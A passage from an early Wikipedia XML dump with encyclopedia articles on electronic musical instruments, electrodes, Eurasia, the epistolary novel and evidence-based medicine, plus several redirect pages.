French [[composer]] and engineer [[Edgard Varèse]] created a variety of compositions using electronic horns, whistles, and tape. Most notably, he wrote [[Poème Électronique]] for the Phillips pavilion at the Brussels World Fair in [[1958]]. 

Electronic musical instruments are now widely used in most styles of music. The development of new electronic musical instruments continues to be a highly active and interdisciplinary field of research. Specialized conferences, notably the International Conference on [[New interfaces for musical expression]], have organized to report cutting edge work, as well as to provide a showcase for artists who perform or create music with new electronic music instruments. 

The STEIM foundation in Amsterdam ( in the Netherlands) is a highly influential research and development center for electronic music instruments. Many of the new concepts for musical man-machine interaction have come from the STEIM research team; in collaboration with its many guest researchers. These researchers are all active composers, musicians, artists, theater performers and engineers. Since the late seventies STEIM's director Michel Waisvisz has been an influential composer/performer and inventor of new concepts for live electronic music performance. He introduced early gestural sensor based instruments in the concert hall and also his recent work is an important inspiration for a new generation of live performers using physical sensor instruments to play laptop-based sound-synthesis in composed or improvised music.

== Early electronic musical instruments ==
In the broadest sense, the very first electrified musical instrument was the [[Denis d´or]], dating from [[1753]]. It was followed by the [[Clavecin électrique]] by the Frenchman Jean-Baptiste de Laborde in [[1761]].

The first purely electronic musical instrument was the [[Telharmonium]], built by [[Thaddeus Cahill]] in [[1906]]. Employing electric generators and tonewheels to produce notes, it had a length of 60ft and a weight of 200 tons; because of a lack of suitable loudspeakers at that time, the music was distributed over the telephone network.

One of the many instruments constructed in the following decades was the [[Theremin]], invented by [[Léon Theremin|Leon Theremin]] in 1917, which used a vacuum tube oscillator to make sounds that depended on the interactions of the user with an RF field.  This was followed in 1928 by the [[Ondes Martenot]] which had a keyboard as well as several auxiliary controllers.

The sound of the Ondes Martenot is used extensively in the ''[[Turangalîla-Symphonie]]'' and other works by [[Olivier Messiaen]].  However, these were not true synthesizers in the modern sense, as they were not configurable to produce a range of complex sounds by additive or subtractive synthesis, instead generating single pure tones with controllable [[pitch (music)|pitch]], [[amplitude]] and [[vibrato]].

Ca. 1929 [[Friedrich Trautwein]] invented the [[Trautonium]] in Berlin. It was played with a resistor wire which has to be pressed against a metal plate. [[Oskar Sala]] was one of the first players and continued development until his death in 2002. [[Paul Hindemith]] wrote some compositions for it.

These early electronic instruments produced only pure tones and were frequently used to make [[avant garde music]]. In April [[1935]],  Laurens Hammond introduced the [[Hammond Organ|Hammond tonewheel organ]], which generated complex tones using an electro-mechanical principle derived from the design of the [[Telharmonium]]. Later Hammond used the [[Leslie speaker]] to achieve special modulation effects, and the resulting [[Hammond organ]] sound is still regarded as the benchmark for the &quot;electric organ&quot; sound. This sound can be simulated by many modern synthesizers and digital samplers.

==Synthesizers==
The most commonly used electronic instruments are [[synthesizer]]s, so-called because they artificially generate sound using techniques such as [[additive synthesis|additive]], [[subtractive synthesis|subtractive]], [[FM synthesis|FM]] and [[physical modelling synthesis|physical modelling]] synthesis to create sounds.

Dr. [[Robert Moog]] introduced the first practical commercial modern music [[synthesizer]] with his [[Moog synthesizer]]. This instrument used a series of tone generators with keys that would adjust the tone generators' pitch. To gain enough money to engineer this synthesizer, Moog sold [[Theremin]]s, a very peculiar instrument that uses no switches to trigger pitch or volume, relying instead upon a pair of antennae and the variable capacitance occasioned by the presence of the instrumentalist's hands. 

The first [[digital synthesizer]]s were academic experiments in sound synthesis using digital computers. [[FM synthesis]] was developed for this purpose, as a way of generating complex sounds digitally with the smallest number of computational operations per sound sample.

[[Category:Electronic music instruments| ]]

== External links ==

* [http://www.obsolete.com/120_years/ 120 Years of Electronic Music]
* [http://sonhors.free.fr/ History of Electronic Music]
* [http://www.nime.org New Interfaces for Musical Expression]
* [http://www.steim.org/ STEIM Foundation, Amsterdam]

[[de:Elektronisches Musikinstrument]]
[[es:Instrumento electrónico]]
[[fr:Instrument de musique électronique]]
[[he:כלי נגינה אלקטרוניים]]
[[nl:Elektrofoon]]
[[ja:電子楽器]]
[[pl:Elektroniczne instrumenty muzyczne]]
[[sl:Elektronska glasbila]]
[[sv:Elektroniska musikinstrument]]</text>
    </revision>
  </page>
  <page>
    <title>Electric Guitar</title>
    <id>10007</id>
    <revision>
      <id>15907853</id>
      <timestamp>2002-02-25T15:51:15Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Electric guitar]]
</text>
    </revision>
  </page>
  <page>
    <title>Electrode</title>
    <id>10008</id>
    <revision>
      <id>41642416</id>
      <timestamp>2006-02-28T19:11:26Z</timestamp>
      <contributor>
        <username>Heron</username>
        <id>2954</id>
      </contributor>
      <comment>/* Primary cell */ made anode polarity explicit</comment>
      <text xml:space="preserve">{{otheruses}}

An '''electrode''' is a [[Conductor (material)|conductor]] used to make contact with a nonmetallic part of a [[Electrical network|circuit]] (e.g. a [[semiconductor]], an [[electrolyte]] or a [[vacuum]]).  The word was coined by the scientist [[Michael Faraday]] from the [[Greek language|Greek]] words ''elektron'' (meaning [[amber]], whence the word [[electricity]] is derived) and ''hodos'', a way.{{ref|faraday}}

== Anode and cathode in electrochemical cells ==

An electrode in an [[electrochemical cell]] is referred to as either an ''[[anode]]'' or a ''[[cathode]]'', words that were also coined by Faraday.  The anode is defined as the electrode at which electrons come up from the cell and [[oxidation]] occurs, and the cathode is defined as the electrode at which electrons enter the cell and [[reduction]] occurs.  Each electrode may become either the anode or the cathode depending on the voltage applied to the cell. A bipolar electrode is an electrode that functions as the anode of one cell and the cathode of another cell. 

=== Primary cell ===

A [[primary cell]] is a special type of electrochemical cell in which the reaction cannot be reversed, and the identities of the anode and cathode are therefore fixed. The anode is always the negative electrode. The cell can be discharged but not recharged.

=== Secondary cell ===

A [[secondary cell]], for example a [[rechargeable battery]], is one in which the reaction is reversible.  When the cell is being charged, the anode becomes the positive (+) electrode and the cathode the negative (−).  This is also the case in an [[electrolytic cell]].  When the cell is being discharged, it behaves like a primary or [[voltaic cell|voltaic]] cell, with the anode as the negative electrode and the cathode as the positive.

== Other anodes and cathodes ==

In a [[vacuum tube]] or a [[semiconductor]] having polarity ([[diode]]s, [[electrolytic|electrolytic capacitor]]s) the anode is the positive (+) electrode and the cathode the negative (−).  The electrons enter the device through the cathode and exit the device through the anode.

In a three-electrode cell, a counter electrode, also called an auxiliary electrode, is used only to make a connection to the electrolyte so that a current can be applied to the working electrode. The counter electrode is usually made of an inert material, such as a [[noble metal]] or [[graphite]], to keep it from dissolving.

== Welding electrodes ==

In [[ arc welding]] an electrode is used to conduct current through a workpiece to fuse two pieces together. Depending upon the process, the electrode is either consumable, in the case of [[gas metal arc welding]] or [[shielded metal arc welding]], or non-consumable, such as in [[gas tungsten arc welding]].  For a direct current system the weld rod or stick may be a cathode for a filling type weld or an anode for other welding processes.  For an alternating current arc welder the welding electrode would not be considered an anode or cathode.

== Alternating current electrodes ==

For electrical systems which use [[alternating current]] the electrodes are the connections from the circuitry to the object to be acted upon by the electrical current but are not designated anode or cathode since the direction of flow of the electrons changes [[alternating current|periodically]], usually [[hertz|many times per second]].

== Types of electrode ==

*Electrodes for medical purposes, such as [[Electroencephalography|EEG]], [[EKG]], [[ECT]], [[defibrillator]]
*Electrodes for [[Electrophysiology]] techniques in biomedical research
*Electrodes for execution by the [[electric chair]]
*Electrodes for [[electroplating]]
*Electrodes for [[arc welding]]
*Electrodes for [[cathodic protection]]
*Inert electrodes for [[hydrolysis]] (made of [[platinum]])

== See also ==

*[[Battery (electricity)|battery]]
*[[redox]]
*[[cathodic protection]]
*[[Galvanic cell]]
*[[anion]] vs. [[cation]]
*[[electron]] vs. [[electron hole|hole]]
*[[electrolyte]]
*[[electron microscope]]

== References ==

* {{note|faraday}}Michael Faraday, &quot;[http://dbhs.wvusd.k12.ca.us/Chem-History/Faraday-electrochem.html On Electrical Decomposition]&quot;, ''Philosophical Transactions of the Royal Society'', [[1834]] (in which Faraday coins the words ''[[electrode]]'', ''[[anode]]'', ''[[cathode]]'', ''[[anion]]'', ''[[cation]]'', ''[[electrolyte]]'', ''[[electrolyze]]'').

[[Category:Electrochemistry]]
[[Category:Electronics]]
[[Category:Electricity]]

[[cs:Elektroda]]
[[de:Elektrode]]
[[es:Electrodo]]
[[fr:Électrode]]
[[io:Elektrodo]]
[[it:Elettrodo]]
[[nl:Elektrode]]
[[ja:電極]]
[[pl:Elektroda]]
[[pt:Eletrodo]]
[[sv:Elektrod]]
[[he:אלקטרודה]]
[[zh:電極]]</text>
    </revision>
  </page>
  <page>
    <title>Electroconvulsive Therapy</title>
    <id>10009</id>
    <revision>
      <id>15907855</id>
      <timestamp>2002-06-22T12:26:04Z</timestamp>
      <contributor>
        <username>The Anome</username>
        <id>76</id>
      </contributor>
      <comment>redir</comment>
      <text xml:space="preserve">#REDIRECT [[Electroconvulsive therapy]]
</text>
    </revision>
  </page>
  <page>
    <title>Eurasia</title>
    <id>10010</id>
    <revision>
      <id>40736514</id>
      <timestamp>2006-02-22T17:55:57Z</timestamp>
      <contributor>
        <username>The wub</username>
        <id>219723</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/72.1.206.150|72.1.206.150]] ([[User talk:72.1.206.150|talk]]) to last version by FWBOarticle</comment>
      <text xml:space="preserve">:''See also [[Asian]], [[Eurasian]], [[Afrasian]] and [[Australasian]].''

[[Image:LocationEurasia.png|thumbnail|Eurasia]]
[[Image:Eurasia.jpg|right|thumb|African-Eurasian aspect of [[the Blue Marble|Earth]]]]
'''Eurasia''' is the [[landmass]] composed of [[Europe]] and [[Asia]]. It can be considered a [[supercontinent]], comprising European and Asian continent, part of a supercontinent of [[Africa-Eurasia]], or simply a [[continent]]. In [[plate tectonics]], the [[Eurasian Plate]] includes Europe and most of Asia, but not the [[South Asia|Indian subcontinent]], the [[Arabian subcontinent]], and the area east of the [[Cherskiy Range]] in [[Sakha]]. ''Eurasia'' is also used in international politics as a neutral way to refer to organizations of or affairs concerning the [[post-Soviet states]].  When used to describe a single landmass, an analogous term to ''Eurasia'' is ''[[Americas|America]]'' or ''(the) Americas'', which consists of [[North America|North]] and [[South America]] collectively.

Europeans, unaware of the extent of Eurasia, traditionally considered Europe and Asia to be separate continents, with the dividing line placed along the [[Aegean Sea]], [[Dardanelles]], [[Bosphorus]], [[Black Sea]], [[Caucasus Mountains]], [[Caspian Sea]], [[Ural River]], and [[Ural Mountains]], and this terminology has spread to the rest of the world, even though ''Asia'' contains multiple [[subregion|regions]] and cultures as large and populous as Europe, and as different and geographically separated from each other as they are from Europe. 

[[Jared Diamond]], in his book [[Guns, Germs and Steel]], credits Eurasia's dominance in world history to the east-west extent of Eurasia and its climate zones, and the availability of [[Eurasian]] animals and plants suitable for domestication.

The [[Silk Road]] symbolizes trade and cultural exchange linking[[ Eurasian]] cultures through history and has been an increasingly popular topic. Recent decades have brought forth a view toward a greater [[Eurasian history]], establishing genetic, cultural, and [[linguistic]] relationships between European and Asian cultures of antiquity, which had long been thought of as distinct.

==Other uses==
Eurasia was also a [[fictional country]] comprising approximately the same land area in [[George Orwell]]'s ''[[Nineteen Eighty-Four]]'', excluding the British Isles (controlled by [[Oceania_(fiction)|Oceania]]) and [[Eastasia]], the latter of which was formed, as the novel says, by an alliance of the states of the region, being the most important couple China and Japan after a 'decade of confused fighting'. India was a contested border zone between ''Eurasia'' and ''Oceania''.&lt;br&gt;
In the game universe of the Earth series (Earth 2140,2150,2160), one of the major factions was the Eurasian Dynasty.

==See also==
{{Commons|Eurasia}}
*[[Palearctic]]
*[[Laurasia]], a theoretical supercontinent joining Eurasia and North America.
*[[Eurasian Economic Community]]
*[[Neo-Eurasianism]]
==External links==
*[http://www.eurasianet.org EurasiaNet provides information and analysis about political, economic, environmental and social developments in the countries of Central Asia and the Caucasus, as well as in Russia, the Middle East, and Southwest Asia.]

{{Continent}}
{{Region}}

[[Category:Continents]]
[[Category:Eurasia]]

[[als:Eurasien]]
[[an:Eurasia]]
[[ast:Eurasia]]
[[bg:Евразия]]
[[cs:Eurasie]]
[[cy:Ewrasia]]
[[da:Eurasien]]
[[de:Eurasien]]
[[et:Euraasia]]
[[el:Ευρασία]]
[[es:Eurasia]]
[[eo:Eŭrazio]]
[[eu:Eurasia]]
[[fr:Eurasie]]
[[fy:Jeraazje]]
[[gl:Eurasia]]
[[ko:유라시아]]
[[hr:Euroazija]]
[[id:Eurasia]]
[[is:Evrasía]]
[[it:Eurasia]]
[[he:אירואסיה]]
[[ka:ევრაზია]]
[[la:Eurasia]]
[[lt:Eurazija]]
[[hu:Eurázsia]]
[[mo:Еурасия]]
[[nl:Eurazië]]
[[nds:Eurasien]]
[[ja:ユーラシア大陸]]
[[no:Eurasia]]
[[pl:Eurazja]]
[[pt:Eurásia]]
[[ro:Eurasia]]
[[ru:Евразия]]
[[simple:Eurasia]]
[[sk:Eurázia]]
[[sl:Evrazija]]
[[fi:Euraasia]]
[[sv:Eurasien]]
[[th:ทวีปยูเรเชีย]]
[[tr:Avrasya]]
[[zh:亞歐大陸]]</text>
    </revision>
  </page>
  <page>
    <title>Epistolary novel</title>
    <id>10011</id>
    <revision>
      <id>40450485</id>
      <timestamp>2006-02-20T17:20:22Z</timestamp>
      <contributor>
        <username>Olaf Simons</username>
        <id>131980</id>
      </contributor>
      <minor />
      <comment>/* External Links */</comment>
      <text xml:space="preserve">[[Image:Behn Love-Letters 1684.jpg|thumb|200px|Titlepage of Aphra Behn's ''Love-Letters'' (1684)]]

An '''epistolary novel''' is written as a series of documents.  The usual form is [[letter]]s, although [[diary|diary entries]], [[newspaper]] clippings and other documents are sometimes used.  The word &quot;epistolary&quot; comes from the word &quot;epistle,&quot; meaning letters.

One argument for using the epistolary form is that it can add greater [[realism (arts)|realism]] and [[verisimilitude]] to the story, chiefly because it mimics the workings of real life.  It is thus able to demonstrate differing points of view without recourse to the device of an [[omniscient narrator]].

==Early Works==
It is difficult to make out &quot;the first&quot; epistolary novel. The exchange between [[Abelard]] and [[Heloise (student of Abelard)|Heloise]], imbedded in the ''[[Roman de la Rose]]'' (1230) was an epistolary novel. Several Humanists wrote satirical fictional letters. The 17th century saw the genre exploring politics and scandal. The (sexually explicit) ''[[Letters of a Portuguese Nun]]'' ([[1667]]-[[1668]]) by [[Marianna Alcoforado]] became immensly famous and were translated into several European languages.  

The first novel exploring the whole complex play the genre allowed were Aphra Behn's ''[[Love-Letters between a Noble-Man and his Sister]]'' which appeared in three successive volumes in 1684, 1685 and 1687. The novel risked the genre's power of changing perspectives: individual points were presented with the individual correspondents, the central author's voice and moral judgement disappeared (at least in the first volume, her further volumes introduced a narrator's voice). Behn furthermore explored a realm of intrigue with letters which got into the wrong hands, with faked letters, with letters withheld by protagonists of the more and more complex interaction.  

The epistolary novel as a genre became popular in the [[18th century]] in the works of such authors as [[Samuel Richardson]], with his first novel ''[[Pamela]]'' ([[1740]]).  In [[France]], there was ''[[Lettres persanes]]'' ([[1721]]) by [[Charles de Secondat, Baron de Montesquieu|Montesquieu]], followed by ''[[Julie, ou la nouvelle Héloïse]]'' ([[1761]]) by [[Jean-Jacques Rousseau]], and [[Pierre Choderlos de Laclos|Laclos]]' ''[[Les Liaisons dangereuses]]'' ([[1782]]), which used the epistolary form to great dramatic effect, because the sequence of events was not always related directly or explicitly.  In Germany, there was [[Johann Wolfgang von Goethe]]'s ''[[The Sorrows of Young Werther|Die Leiden des jungen Werther]]'' ([[1774]]) (''[[The Sorrows of Young Werther]]'').

Later in the 18th century, the epistolary form was subject to much ridicule, resulting in a number of savage [[burlesque]]s.  The most notable example of these was [[Henry Fielding]]'s ''[[Shamela]]'' ([[1741]]), written as a parody of ''Pamela''.  In it, the female narrator can be found wielding a pen and scribbling her diary entries under the most dramatic and unlikeliest of circumstances.

The epistolary novel slowly fell out of use in the [[19th century]].  By the time [[Jane Austen]] popularized the technique of the [[omniscient narrator]], the epistolary form had become somewhat archaic. For example, ''[[Pride and Prejudice]]'' ([[1811]]) was originally written as an epistolary novel, but [[Jane Austen|Austen]] rewrote it using a third-person omniscient narrator.

==Later Works==

Epistolary novels have since made rare but memorable appearances in more recent literature. [[Fyodor Dostoevsky]] used the epistolary format for his first novel, ''[[Poor Folk]]'' ([[1846]]), as a series of letters between two lovers, struggling to cope with their impoverished circumstances and their fleeting plans to marry. 

[[Bram Stoker]]'s ''[[Dracula]]'' ([[1897]]) uses not only letters and diaries, but dictation tapes and [[newspaper]] accounts. 

[[C. S. Lewis]] used the epistolary form for ''[[The Screwtape Letters|The Screwtape Letters]]'' ([[1942]]), and considered writing a companion novel from an [[angel]]'s point of view -- though he never did so.

Some of [[J.D. Salinger]]'s stories about the [[Glass family]] are written in the form of letters.

''[[Flowers for Algernon]]'', written by [[Daniel Keyes]] in 1966 as an expanded version of his 1959 short story of the same name, is ostensibly the journal of mentally-retarded janitor Charlie Gordon, who temporarily becomes a super-genius during a medical experiment. Through changes in grammar and style, Charlie's mental rise and fall are presented in a remarkably effective and poignant way.

Japanese author [[Junichiro Tanizaki]] used the form of diary entries in ''[[Kagi]]'' ([[1956]]) (''[[The Key]]''), which was made into the film ''[[Odd Obsession]]'' ([[1960]]) starring [[Machiko Kyo]] and [[Tatsuya Nakadai]]. 

Other notable examples from the mid-[[20th century]] are two novels by French author [[Hubert Monteilhet]]: ''[[The Praying Mantises|Les Mantes Religieuses]]'' ([[1960]]) (''[[The Praying Mantises]]''), made into a [[BBC]] television film in [[1982]], and ''[[Return From the Ashes|Le Retour des Cendres]]'' ([[1962]]) (''[[Return From the Ashes]]''), made into a film starring [[Maximilian Schell]] in [[1965]].

[[Emma Bull]] and [[Steven Brust]]'s ''[[Freedom and Necessity]]'' (1997) combines letters with diary entries, as does [[Alice Walker]]'s ''[[The Color Purple]]'' (1982). 

The epistolary form has made a few appearances in contemporary literature, such as [[Stephen Chbosky]]'s ''[[The Perks of Being a Wallflower]]'' (1999), [[Andrew Crumey]]'s ''[[Mr Mee]]'' (2001), and [[Tim Parks]]' ''[[Home Thoughts]]'' (1999). Arguably, both ''[[Ella Minnow Pea]]'' (2001) and ''[[Ibid: A Life]]'' (2004) by [[Mark Dunn]] are also written as epistolary novels.

''[[The Green Mile]]'' (1996), by [[Stephen King]] was written in a collection of six, one-hundred page books, and in its introduction King explains why he wanted it published in epistolary form, calling them &quot;chapbooks.&quot;

The most recent mutation of the epistolary novel is the novel in e-mails. Examples include [[Carl Steadman]]'s ''[[Two Solitudes]]'' ([[1994]]), [[Rob Wittig]]'s ''[[Blue Company]]'' ([[2001]]), and [[Rosie Rushton]] and [[Nina Schindler]]'s ''[[P.S. He's Mine!]]'' ([[2001]]). In Spanish, the most important epistolary novel is the recent ''[http://www.ciudadseva.com/libros/voltaire.htm Voltaire's Heart]'' (2005) by well- known Puerto Rican author [[Luis López Nieves]].

==External Links==

* [http://www.pierre-marteau.com/editions/letters-1684-87.html Aphra Behn, ''Love-Letters between a Noble-Man and his Sister'' (1684-87).]

[[Category:Narratology]]

[[da:Brevroman]]
[[de:Briefroman]]
[[es:Novela epistolar]]
[[nl:Briefroman]]
[[ja:書簡体小説]]
[[pl:Powieść epistolarna]]
[[pt:Romance epistolar]]
[[sv:Brevroman]]</text>
    </revision>
  </page>
  <page>
    <title>Evidence-Based Medicine</title>
    <id>10012</id>
    <revision>
      <id>15907858</id>
      <timestamp>2002-02-25T15:51:15Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Evidence-based medicine]]
</text>
    </revision>
  </page>
  <page>
    <title>Evidence-based medicine</title>
    <id>10013</id>
    <revision>
      <id>40452664</id>
      <timestamp>2006-02-20T17:40:56Z</timestamp>
      <contributor>
        <username>Hugh2414</username>
        <id>47936</id>
      </contributor>
      <minor />
      <comment>/* Categories of recommendations */</comment>
      <text xml:space="preserve">'''Evidence-based medicine''' (EBM) is a [[Medicine|medical]] movement based upon the application of the [[scientific method]] to medical practice, recognizing that many long-established medical [[tradition]]s are not yet subjected to adequate scientific scrutiny. According to the [http://www.cebm.net/ Centre for Evidence-Based Medicine], ''&quot;Evidence-based medicine is the conscientious, explicit and judicious use of current best evidence in making decisions about the care of individual patients.&quot;''

==Overview==
Using techniques from [[science]], [[engineering]] and [[statistics]], such as [[meta-analysis]] of the existing literature, [[risk-benefit analysis]], and [[randomized controlled trial]]s, it aims for the ideal that all [[medical doctor|doctors]] and other [[healthcare]] professionals should make &quot;conscientious, explicit, and judicious use of current best evidence&quot; in their everyday practice.

Evidence-based medicine categorizes different types of clinical evidence and ranks them according to the strength of their freedom from the various biases that beset medical research. For example, the strongest evidence for therapeutic interventions is provided by [[randomized trial|randomized]], [[double-blind]], [[placebo]]-controlled trials involving a homogeneous patient population and medical condition. In contrast, patient testimonials, case reports, and even expert opinion have little value as proof because of the placebo effect, the biases inherent in observation and reporting of cases, difficulties in ascertaining who is an expert, and more. 

Practising evidence-based medicine implies not only clinical expertise, but expertise in retrieving, interpreting, and applying the results of scientific studies, and in communicating the risks and benefit of different courses of action to patients.

For all its problems, evidence-based medicine has very successfully demoted the ''ex cathedra'' statement of the &quot;medical [[expert]]&quot; to the least valid form of evidence, and all &quot;experts&quot; are now expected to be able to reference their pronouncements to the relevant literature. One way that physicians facilitate the integration of evidence-based medicine in daily practice is via participation in a [[journal club]]. 

==History==
Professor [[Archie Cochrane]] was a Scottish epidemiologist whose book ''Effectiveness and Efficiency: Random Reflections on Health Services'' (1972) and subsequent advocacy caused increasing acceptance of the concepts behind evidence-based practice. Cochrane's work was honoured through the naming of centres of evidence-based medical research &amp;mdash; ''Cochrane Centres'' &amp;mdash; and an international organisation, the [[Cochrane Collaboration]]. The term &quot;evidence-based medicine&quot; first appeared in the medical literature in 1992 in a paper by Guyatt ''et al''. &lt;ref name=&quot;Guyatt&quot;&gt; Guyatt G, Cairns J, Churchill D, et al. [&amp;#8216;Evidence-Based Medicine Working Group&amp;#8217;] &quot;Evidence-based medicine. A new approach to teaching the practice of medicine.&quot; ''JAMA'' 1992;268:2420-5. PMID 1404801&lt;/ref&gt;

==Qualification of evidence==
Systems to stratify evidence by quality have been developed, such as this one by the U.S. Preventive Services Task Force:
*Level I: Evidence obtained from at least one properly designed randomized controlled trial.
*Level II-1: Evidence obtained from well-designed controlled trials without [[randomization]].
*Level II-2: Evidence obtained from well-designed [[cohort]] or [[case-control]] analytic studies, preferably from more than one center or research group.
*Level II-3: Evidence obtained from multiple time series with or without the intervention. Dramatic results in uncontrolled trials might also be regarded as this type of evidence.
*Level III: Opinions of respected authorities, based on clinical experience, descriptive studies, or reports of expert committees.

The UK National Health Service uses a similar system with categories labelled A, B, C, and D.

==Categories of recommendations==

In guidelines and other publications, recommendations are classified according to the level of evidence on which they are based.  The U.S. Preventive Service Task Force uses:
*Level A: Recommendations are based on good and consistent scientific evidence.
*Level B: Recommendations are based on limited or inconsistent scientific evidence.
*Level C: Recommendations are based primarily on consensus and expert opinion.

This is a distinct and conscious improvement on older fashions in recommendation and the interpretation of recommendations where it was less clear which parts of a guideline were most firmly established.


The Oxford Centre for Evidence-based Medicine uses these &quot;grades of recommendations&quot; according to the study designs and critical appraisal of prevention, diagnosis, prognosis, therapy, and harm studies:&lt;ref name=&quot;OxfordCentreLevels&quot;&gt; Oxford Centre for Evidence-based Medicine  [http://www.cebm.net/levels_of_evidence.asp#levels Levels of Evidence and Grades of Recommendation]&lt;/ref&gt;

*Level A: consistent Randomised Controlled Clinical Trial, Cohort Study, All or None, Clinical Decision Rule validated in different populations.

*Level B: consistent Retrospective Cohort, Exploratory Cohort, Ecological Study, Outcomes Research, Case-Control Study; or extrapolations from level A studies.

*Level C: Case-series Study or extrapolations from level B studies 

*Level D: Expert opinion without explicit critical appraisal, or based on physiology, bench research or first principles

&quot;Extrapolations&quot; are where data is used in a situation which has potentially clinically important differences than the original study situation.

==Limitations of available evidence==
It is recognised that not all evidence is made accessible, that this can limit the effectiveness of any approach, and that effort to reduce various publication and retrieval biases is required.

Failure to publish negative trials is the most obvious gap, and moves to register all trials at the outset, and then to pursue their results are underway.  Changes in publication methods, particularly related to the Web should reduce the difficulty of getting a paper on a trial that concludes it did not prove anything new, including its starting hypothesis, published.

Treatment effectiveness reported from clinical studies may be higher than that achieved in later routine clinical practice due to the closer patient monitoring during trials that leads to much higher compliance rates.&lt;ref name=&quot;BandolierStatins2004&quot;&gt; &quot;Patient Compliance with statins&quot; ''[[Bandolier (journal)|Bandolier]] [http://www.jr2.ox.ac.uk/bandolier/booth/cardiac/patcomp.html Review] 2004&lt;/ref&gt;

==Criticism of evidence-based medicine==
Critics of evidence-based medicine maintain that good evidence is often deficient in many areas, that lack of evidence and lack of benefit are not the same, and that the more data are pooled and aggregated, the more difficult it is to compare the patients in the studies with the patient in front of the doctor, i.e. EBM applies to populations, not necessarily to individuals. In ''[http://www.ncbi.nlm.nih.gov/entrez/query.fcgi?cmd=Retrieve&amp;db=PubMed&amp;list_uids=11728302&amp;dopt=Abstract The limits of evidence-based medicine]'', Tonelli argues that &quot;the knowledge gained from clinical research does not directly answer the primary clinical question of what is best for the patient at hand.&quot;  Tonelli suggests that proponents of evidence-based medicine discount the value of clinical experience.

Although evidence-based medicine is quickly becoming the &quot;[[gold standard (test)|gold standard]]&quot; for clinical practice and treatment guidelines, there are a number of reasons why most current medical and surgical practices do not have a strong literature base supporting them. First, in some cases, conducting randomized controlled trials would be unethical--such as in open-heart surgery--although [[observational studies]] are designed to address these problems to some degree. Second, certain groups have been historically under-researched (women, racial minorities, people with many co-morbid diseases) and thus the literature is very sparse in areas that do not allow for generalizeability.  Third, the types of trials considered 'gold standard' (i.e. randomized double-blind placebo-controlled trials) are very expensive and thus funding sources play a role in what gets investigated.  For example, the government funds a large number of preventive medicine studies that endeavor to improve public health as a whole, while pharmaceutical companies fund studies intended to demonstrate the efficacy and safety of particular drugs.  Fourth, the studies that are published in medical journals may not be representative of all the studies that are completed on a given topic (published and unpublished) or may be misleading due to conflicts of interest (i.e. publication bias).[http://www.ncbi.nlm.nih.gov/entrez/query.fcgi?cmd=Retrieve&amp;db=pubmed&amp;dopt=Abstract&amp;list_uids=14748860&amp;itool=iconabstr] Thus the array of evidence available on particular therapies may not be well-represented in the literature.  Fifth, there is an enormous range in the quality of studies performed, making it difficult to generalize about the results.  

Large randomized controlled trials are extraordinarly useful for examining discrete interventions for carefully defined medical conditions.   The more complex the patient population, the conditions, and the intervention, the more difficult it is to separate the treatment effect from random variation.  Because of this, a number of studies obtain non-significant results, either because there is insufficient power to show a difference, or because the groups are not well-enough 'controlled'.
 
Evidence-based medicine has been most practised when the intervention tested is a [http://en.wiktionary.org/wiki/drug drug].  Applying the methods to other forms of treatment may be harder, particularly those requiring the active participation of the patient because [[blinding]] is more difficult. 

In managed healthcare systems evidence-based [[guideline (medical)|guidelines]] have been used as a basis for denying insurance coverage for some treatments some of which are held by the physicians involved to be effective, but of which randomized controlled trials have not yet been published.

==See also==
* [[Adverse drug reaction]]
* [[Adverse effect (medicine)]]
* [[Clinical trials with surprising outcomes]]
* [[Consensus (medical)]]
* [[Guideline (medical)]]
* [[History of medicine]]
* [[Medical algorithm]]
* [[Medical research]]
* [[systematic review|Systematic Reviews]]

==References==
&lt;references /&gt;

==External links==
* [http://www.acc.org/quality/evidence.htm ACC.org] - 'What Is Evidence-Based Medicine?' [[American College of Cardiology]]
* [http://www.ahrq.gov/clinic/uspstfix.htm  AHRQ.gov] - 'U.S. Preventive Services Task Force (USPSTF)', Agency for Health Care Research and Quality
* [http://www.beemcourse.com/ BEEMCourse.com] - 'The Best Evidence In Emergency Medicine (BEEM) Team' Group based out of [[McMaster University]] (Hamilton, Ontario, Canada) that actively reviews the best emerging evidence based research in [[emergency medicine]]. 
* [http://bmj.com/cgi/content/full/312/7023/71 BMJ.com] - 'Evidence based medicine: what it is and what it isn't: It's about integrating individual clinical expertise and the best external evidence', (editorial) ''[[British Medical Journal]]'', vol 312, p 71-72 (January 13, 1996)
:* [http://www.bmj.com/cgi/content/full/310/6987/1126  BMJ.com] - 'Evidence based medicine: Socratic dissent', (Education and debate) ''[[British Medical Journal]]'', vol 310, p 1126-1127 (April 29, 1995)
* [http://www.cebm.net/index.asp CEBM.net] - [[Oxford]] Centre for Evidence-Based Medicine (UK)
* [http://www.cmaj.ca/cgi/content/full/163/7/837 CMAJ.ca] - 'Evidence-based medicine: a commentary on common criticisms', Dr. Sharon E. Straus, Dr. Finlay A. McAlister, ''[[Canadian Medical Association Journal]]'', Vol 163, No 7, pp 837 - 841 (October 3, 2000)
* [http://www.cochrane.org/ Cochrane.org] - 'The Cochrane Collaboration: The reliable source for evidence in healthcare' ([[systematic review]]s of the effects of health care interventions), [[Cochrane Library]]
* [http://www.eboncall.org/ EBOnCall.org] - 'Evidence compendia' (evidence-based summaries of 38 on-call medical conditions), Evidence-Based On-Call (EBOC)
* [http://www.gpnotebook.co.uk/simplepage.cfm?ID=-1596981199 GPNoteBook.co.uk] - 'Evidence-based medicine (EBM)', General Practice Notebook
* [http://www.herts.ac.uk/lis/subjects/health/ebm.htm HERTS.ac.uk] - Evidence-Based Medicine', [[University of Hertfordshire]]
* [http://www.JournalReview.org  JournalReview.org] - 'An unbiased forum for review of the medical literature', An On-Line journal club
* [http://www.jr2.ox.ac.uk/bandolier/ JR2.ox.ac.uk] - 'Bandolier: Evidence-based thinking about health care', ''[[Bandolier (journal)]]''
* [http://www.mja.com.au/public/issues/174_05_050301/craig/craig.html MJA.com.au] - 'Evidence-based medicine: useful tools for decision making', Jonathan C. Craig, Les M. Irwig, Martin R. Stockler, ''[[Medical Journal of Australia]]'', vol 174, p 248-253 (2001) 
* [http://www.shef.ac.uk/~scharr/ir/netting/ SHEF.ac.uk] - 'Netting the Evidence: A ScHARR Introduction to Evidence Based Practice on the Internet' (resource directory), [[University of Sheffield]]
